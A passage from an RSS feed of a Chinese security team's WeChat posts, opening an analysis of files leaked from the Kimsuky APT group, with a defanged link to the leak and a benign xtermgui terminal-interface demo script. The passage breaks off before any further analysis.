initial;text-decoration-color: initial;line-height: inherit;display: block;overflow: auto;word-break: normal;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif;letter-spacing: normal;text-align: start;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">我是</span><span leaf="">N0va7</span><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">，我在渊龙Sec安全团队等你</span><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">微信公众号：渊龙Sec安全团队</span><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">欢迎关注我，一起学习，一起进步~</span><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">本篇文章为团队成员原创文章，请不要擅自盗取！</span></p></blockquote><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100000063" class="rich_pages wxw-img" data-ratio="1" data-s="300,640" data-type="png" data-w="430" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=4c67e7ba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FfiajytAx7IbfPkMjLIyRLkDoUuREpP4SwzqNe9WfraEfyrUE4wZYFicQ6dUicmnWgycGicCiasp6jYC7OzDsicx8GmqA%2F640%3Fwx_fmt%3Dpng"/></p></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485771">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=24b65712&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4NTY0MDg1Mg%3D%3D%26mid%3D2247485771%26idx%3D1%26sn%3D50de196577c1f5c29ab9fab63be5fe82">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 29 Aug 2025 17:36:00 +0800</pubDate>
    </item>
    <item>
      <title>Kimsuky APT泄露文件简单分析</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4NTY0MDg1Mg==&amp;mid=2247485702&amp;idx=1&amp;sn=12bfba855d9de29732c531196dcba911</link>
      <description>此次泄露得以窥探APT组织的相关技术和能力，特别是在针对目标上的策略和手法，团队核心成员Snow 狼师傅针对泄露的文件展开了分析，让我们一起学习~</description>
      <content:encoded><![CDATA[<p>
<span>Snow狼</span> <span>2025-08-15 11:24</span> <span style="display: inline-block;">广东</span>
</p>

<p>此次泄露得以窥探APT组织的相关技术和能力，特别是在针对目标上的策略和手法，团队核心成员Snow 狼师傅针对泄露的文件展开了分析，让我们一起学习~</p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=28f9b44f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F5F1cGSkUffN4FQwAREOMbicuxEpw58Bt0icJWxSxW2zAiajZSWKF0Keic5cNNWibE7lUw5Yhg44GYYxYQpasCRINozw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);margin-top: 30px;margin-bottom: 15px;margin-left: 30px;margin-right: 30px;padding-top: 12px;padding-bottom: 12px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow-x: unset;overflow-y: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="border-top-color: rgb(0, 0, 0);align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: solid;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;color: rgb(0, 0, 0);display: block;font-size: 16px;font-weight: bold;flex-direction: unset;float: left;height: 1px;justify-content: unset;letter-spacing: 0px;line-height: 1px;margin-top: -17px;margin-bottom: 0px;margin-left: -5px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: 90%;-webkit-box-reflect: unset;"></span><span style="background-color: rgb(0, 0, 0);box-shadow: rgb(0, 0, 0) 3px 0px, rgb(0, 0, 0) 0px 3px, rgb(0, 0, 0) -3px 0px, rgb(0, 0, 0) 0px -3px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;color: rgb(0, 0, 0);display: block;font-size: 16px;font-weight: bold;flex-direction: unset;float: unset;height: 3px;justify-content: unset;letter-spacing: 0px;line-height: 3px;margin-top: 0px;margin-bottom: 0px;margin-left: 5%;margin-right: 0px;overflow-x: hidden;overflow-y: hidden;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: 3px;-webkit-box-reflect: unset;"></span><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: initial;border-bottom-width: initial;border-left-width: initial;border-right-width: initial;border-top-color: initial;border-bottom-color: initial;border-left-color: initial;border-right-color: initial;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><span leaf="">事件</span></span><span style="background-color: rgb(0, 0, 0);box-shadow: rgb(0, 0, 0) 3px 0px, rgb(0, 0, 0) 0px 3px, rgb(0, 0, 0) -3px 0px, rgb(0, 0, 0) 0px -3px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;color: rgb(0, 0, 0);display: block;font-size: 16px;font-weight: bold;flex-direction: unset;float: unset;height: 3px;justify-content: unset;letter-spacing: 0px;line-height: 3px;margin-top: 0px;margin-bottom: 0px;margin-left: 95%;margin-right: 0px;overflow-x: hidden;overflow-y: hidden;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: 3px;-webkit-box-reflect: unset;"></span><span style="border-bottom-color: rgb(0, 0, 0);align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: solid;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;color: rgb(0, 0, 0);display: block;font-size: 16px;font-weight: bold;flex-direction: unset;float: right;height: 1px;justify-content: unset;letter-spacing: 0px;line-height: 1px;margin-top: 16px;margin-bottom: 0px;margin-left: 0px;margin-right: -5px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: 90%;-webkit-box-reflect: unset;"></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">朝鲜黑客组织Kimsuky APT一名成员遭遇重大数据泄露，泄露了一些内部文件和工具。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">入侵大概发生在2025年6月初，此次泄露暴露了该组织后门、网络钓鱼框架和侦察行动。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">公网泄露链接为：</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">https[:]//data[.]ddosecrets[.]com/APT%20Down%20-%20The%20North%20Korea%20Files/</span></p><h2 data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);margin-top: 30px;margin-bottom: 15px;margin-left: 30px;margin-right: 30px;padding-top: 12px;padding-bottom: 12px;padding-left: 0px;padding-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.1em;overflow-x: unset;overflow-y: unset;text-align: center;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="border-top-color: rgb(0, 0, 0);align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: solid;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;color: rgb(0, 0, 0);display: block;font-size: 16px;font-weight: bold;flex-direction: unset;float: left;height: 1px;justify-content: unset;letter-spacing: 0px;line-height: 1px;margin-top: -17px;margin-bottom: 0px;margin-left: -5px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: 90%;-webkit-box-reflect: unset;"></span><span style="background-color: rgb(0, 0, 0);box-shadow: rgb(0, 0, 0) 3px 0px, rgb(0, 0, 0) 0px 3px, rgb(0, 0, 0) -3px 0px, rgb(0, 0, 0) 0px -3px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;color: rgb(0, 0, 0);display: block;font-size: 16px;font-weight: bold;flex-direction: unset;float: unset;height: 3px;justify-content: unset;letter-spacing: 0px;line-height: 3px;margin-top: 0px;margin-bottom: 0px;margin-left: 5%;margin-right: 0px;overflow-x: hidden;overflow-y: hidden;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: 3px;-webkit-box-reflect: unset;"></span><span style="font-size: 22px;color: rgb(0, 0, 0);line-height: 1.2em;letter-spacing: 0em;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: initial;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: initial;border-bottom-width: initial;border-left-width: initial;border-right-width: initial;border-top-color: initial;border-bottom-color: initial;border-left-color: initial;border-right-color: initial;border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(0, 0, 0, 0.1)));"><span leaf="">分析</span></span><span style="background-color: rgb(0, 0, 0);box-shadow: rgb(0, 0, 0) 3px 0px, rgb(0, 0, 0) 0px 3px, rgb(0, 0, 0) -3px 0px, rgb(0, 0, 0) 0px -3px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;color: rgb(0, 0, 0);display: block;font-size: 16px;font-weight: bold;flex-direction: unset;float: unset;height: 3px;justify-content: unset;letter-spacing: 0px;line-height: 3px;margin-top: 0px;margin-bottom: 0px;margin-left: 95%;margin-right: 0px;overflow-x: hidden;overflow-y: hidden;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: 3px;-webkit-box-reflect: unset;"></span><span style="border-bottom-color: rgb(0, 0, 0);align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: solid;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;color: rgb(0, 0, 0);display: block;font-size: 16px;font-weight: bold;flex-direction: unset;float: right;height: 1px;justify-content: unset;letter-spacing: 0px;line-height: 1px;margin-top: 16px;margin-bottom: 0px;margin-left: 0px;margin-right: -5px;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: 90%;-webkit-box-reflect: unset;"></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">我这里简要下载了 zip 目录下的 work.zip 压缩包，所以仅分析里面的比较好玩的文件。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="display: none;"></span><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">路径：</span></span><span style="display: none;"></span></h3><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">\work\work\home\user\Desktop</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">test.py</span></strong><span leaf="">:</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">使用第三方库 xtermgui 来创建一个终端图形用户界面。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">xtermgui 这个库允许开发者在纯文本的终端（命令行窗口）中，创建出具有图层、颜色和精确定位等特性的、更丰富的交互界面。</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/UOCHvzUGAIW73LmhCvJxWTnqiaH9MplvPpNZvM5gkeCztzVBTYx2GmRnwEE2wibTIjHMWqo6mWVxjdicQ49rib6ydYYGkyH7iaxTU/640?wx_fmt=svg&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">from</span></span><span leaf=""> xtermgui </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> Colour, RGBs, LayeredGUI, Coordinate</span><span leaf="">Colour.configure_default_background(RGBs.DEFAULT_BACKGROUND_WSL.value)</span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">class</span></span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">MyGUI</span></span><span style="line-height: 26px;"><span leaf="">(LayeredGUI)</span></span><span leaf="">:</span></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">__init__</span></span><span style="line-height: 26px;"><span leaf="">(self)</span></span><span leaf=""> -&gt; </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">None</span></span><span leaf="">:</span></span><span leaf="">        super().__init__()  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># self.base_layer is created automatically</span></span><span leaf="">        self.second_layer = self.add_layer(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Layer Name&#34;</span></span><span leaf="">, z=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">)  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># z-index is the same as that of the existing layer with the greatest z-index by default</span></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">main</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf=""> -&gt; </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">None</span></span><span leaf="">:</span></span><span leaf="">    gui = MyGUI()</span><span leaf="">    text_base_layer = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;This text will be printed in the console, on the base layer.&#34;</span></span><span leaf="">    text_1_second_layer = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;This text will be printed in the console, on the second layer.&#34;</span></span><span leaf="">    text_2_second_layer = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;This text will also be printed in the console, on the second layer.&#34;</span></span><span leaf="">    coordinates = Coordinate(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">10</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5</span></span><span leaf="">)</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">with</span></span><span leaf=""> gui.start():</span><span leaf="">        gui.print(text_base_layer, at=coordinates)  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Prints on the active layer by default - this is initially the base layer</span></span><span leaf="">        gui.print(text_1_second_layer, at=coordinates, layer=gui.second_layer)  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Prints over the text on the base layer</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">with</span></span><span leaf=""> gui.as_active(gui.second_layer):  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Second layer is set as active within this scope only</span></span><span leaf="">            gui.print(text_2_second_layer, at=coordinates)  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Overwrites the existing text</span></span><span leaf="">        gui.clear(layer=gui.second_layer)  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Only the content printed to the base layer now shows</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> __name__ == </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;__main__&#34;</span></span><span leaf="">:</span><span leaf="">    main()</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">运行结果：</span></p><figure data-tool="mdnice编辑器" 